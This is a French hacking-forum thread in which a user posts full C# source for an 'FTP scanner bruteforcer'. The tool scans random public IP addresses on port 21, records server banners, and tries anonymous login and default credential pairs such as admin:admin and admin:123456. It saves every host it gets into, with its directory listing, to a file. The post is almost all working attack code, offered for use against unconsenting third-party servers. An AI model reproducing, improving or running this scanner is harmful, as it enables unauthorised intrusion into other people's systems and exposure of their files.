• STATISTIQUES
  • Il y a eu un total de 0 membres et 26712 visiteurs sur le site dans les dernières 24h pour un total de 26 712 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] CS Tutoring Center
    Site de challenge spécialisé dans les challenges de programmation C++ et java cependant, d'autres langages pe...
    Challenges
    [FR] Cyber-Hacker
    CH - Cyber Hacker est un jeu par navigateur de simulation de hack, programmez et envoyez vos virus et piratez les aut...
    Hacking
    [FR] µContest
    µContest est un site de challenges de programmation, c'est à dire qu'il propose des épreu...
    Hacking
    [EN] Dare your mind
    JavaScript: 6, Crypto: 44, Stegano: 36, Logic: 13, Special: 27, Science: 11, Realistic: 7, Programming: 10, Crack It: 6,...
    Challenges
    [EN] Bright Shadows
    JavaScript: 13, Exploit: 27, Crypto: 69, CrackIt: 52, Stegano: 67, Flash: 3, Programming: 16, Java-Applet: 10, Logic: 20...
    Challenges
    [EN] This is legal
    Basic: 10, Realistic: 5, Programming: 1, Bonus: 11, SQL: 2, Encryption: 6, Application: 4, User Contributed: 3
    Challenges
    [EN] social-engineer
    Site dédié au Social Engineering en général.
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[C#] FTP scanner bruteforcer
06-03-2013, 18h59 (Modification du message : 06-03-2013, 18h59 par t0fx.)
Message : #1
t0fx Hors ligne
Newbie
*



Messages : 17
Sujets : 4
Points: 6
Inscription : Feb 2013
[C#] FTP scanner bruteforcer
Program.cs
Code :
using System;
using System.Threading;

namespace ConsoleApplication1
{
    internal class Program
    {
        public static int ScanningThreads;

        private static void Main()
        {
            Console.Title = "FTP Scanner by t0fx.";
            Console.WriteLine("       ..................");
            Console.WriteLine("    .::::::::::::::::::::::.");
            Console.WriteLine("  .::: FTP Scanner by t0fx :::.");
            Console.WriteLine(".::::::::::::::::::::::::::::::::.");
            Console.WriteLine("");
            Console.WriteLine("Enter number of threads and press ENTER (50 is a good choice)");
            ScanningThreads = Convert.ToInt32(Console.ReadLine());
            try
            {
                for (int i = 0; i <= ScanningThreads; i++)
                {
                    new Thread(Ftp.GrabBannerFtp).Start();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
                Console.ReadLine();
            }
        }
    }

    internal class Rng
    {
        public static Random _rng = new Random();

        public static int Next(int min, int max)
        {
            return _rng.Next(min, max);
        }

        public static string GenerateIp()
        {
            return Next(11, 239) + "." + Next(1, 255) + "." + Next(1, 255) + "." + Next(1, 255);
        }
    }

}

ftp.cs
Code :
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace ConsoleApplication1
{
    internal class Ftp
    {
        public static void GrabBannerFtp()
        {
            while (true)
            {
                try
                {
                    string ipadress = Rng.GenerateIp();
                    Console.WriteLine("FTP Scanning " + ipadress);
                    var data = new byte[1024];
                    string stringData;
                    int recv;
                    var ipep = new IPEndPoint(
                        IPAddress.Parse(ipadress), 21);
                    var server = new Socket(AddressFamily.InterNetwork,
                                            SocketType.Stream, ProtocolType.Tcp);
                    try
                    {
                        server.Connect(ipep);
                    }
                    catch
                    {
                    }
                    var ns = new NetworkStream(server);
                    if (ns.CanRead)
                    {
                        recv = ns.Read(data, 0, data.Length);
                        stringData = Encoding.ASCII.GetString(data, 0, recv);
                        if (stringData.Replace("220", string.Empty) != "")
                        {
                            Console.WriteLine("ftp://" + ipadress + " : " +
                                              stringData.Replace("220", string.Empty));
                            File.AppendAllText("FTP-banners.txt",
                                               "ftp://" + ipadress + " : " +
                                               stringData.Replace("220", string.Empty) + "\r\n");
                        }
                        new Thread(delegate() { CheckHost(ipadress); }).Start();
                    }
                    else
                    {
                        ns.Close();
                        server.Close();
                    }
                }
                catch
                {
                }
            }
        }


        public static void CheckHost(string ipadress)
        {
            try
            {
                var ftpClientRequest = WebRequest.Create("ftp://" + ipadress) as FtpWebRequest;
                if (ftpClientRequest != null)
                {
                    ftpClientRequest.Method = WebRequestMethods.Ftp.ListDirectoryDetails;
                    ftpClientRequest.Proxy = null;
                    ftpClientRequest.Credentials = new NetworkCredential("anonymous", "britney@spears.com");
                    ftpClientRequest.Timeout = 5000;
                    var response = ftpClientRequest.GetResponse() as FtpWebResponse;
                    if (response != null)
                    {
                        var sr = new StreamReader(response.GetResponseStream(), Encoding.ASCII);
                        string datastring = sr.ReadToEnd();
                        response.Close();
                        Console.WriteLine("Anonymous >>>> ftp://" + ipadress);
                        Console.WriteLine(datastring);
                        File.AppendAllText("Access.txt",
                                           "Anonymous >>>> ftp://" + ipadress + "\r\n" +
                                           datastring + "\r\n");
                    }
                    else
                    {
                        ftpClientRequest.Credentials = new NetworkCredential("admin", "admin");
                        var response1 = ftpClientRequest.GetResponse() as FtpWebResponse;
                        if (response1 != null)
                        {
                            var sr = new StreamReader(response1.GetResponseStream(), Encoding.ASCII);
                            string datastring = sr.ReadToEnd();
                            response1.Close();
                            Console.WriteLine("admin:admin >>>> ftp://" + ipadress);
                            Console.WriteLine(datastring);
                            File.AppendAllText("Access.txt",
                                               "admin:admin >>>> ftp://" + ipadress + "\r\n" +
                                               datastring + "\r\n");
                        }
                        else
                        {
                            ftpClientRequest.Credentials = new NetworkCredential("admin", "root");
                            var response2 = ftpClientRequest.GetResponse() as FtpWebResponse;
                            if (response2 != null)
                            {
                                var sr = new StreamReader(response2.GetResponseStream(), Encoding.ASCII);
                                string datastring = sr.ReadToEnd();
                                response2.Close();
                                Console.WriteLine("admin:root >>>> ftp://" + ipadress);
                                Console.WriteLine(datastring);
                                File.AppendAllText("Access.txt",
                                                   "admin:root >>>> ftp://" + ipadress + "\r\n" +
                                                   datastring + "\r\n");
                            }
                            else
                            {
                                ftpClientRequest.Credentials = new NetworkCredential("admin", "123456");
                                var response3 = ftpClientRequest.GetResponse() as FtpWebResponse;
                                if (response3 != null)
                                {
                                    var sr = new StreamReader(response3.GetResponseStream(), Encoding.ASCII);
                                    string datastring = sr.ReadToEnd();
                                    response3.Close();
                                    Console.WriteLine("admin:123456 >>>> ftp://" + ipadress);
                                    Console.WriteLine(datastring);
                                    File.AppendAllText("Access.txt",
                                                       "admin:123456 >>>> ftp://" + ipadress + "\r\n" +
                                                       datastring + "\r\n");
                                }
                            }
                        }
                    }
                }
            }
            catch
            {
            }
        }
    }
}
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [C] Port Scanner sakiir 10 563 25-12-2012, 00h50
Dernier message: sakiir

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut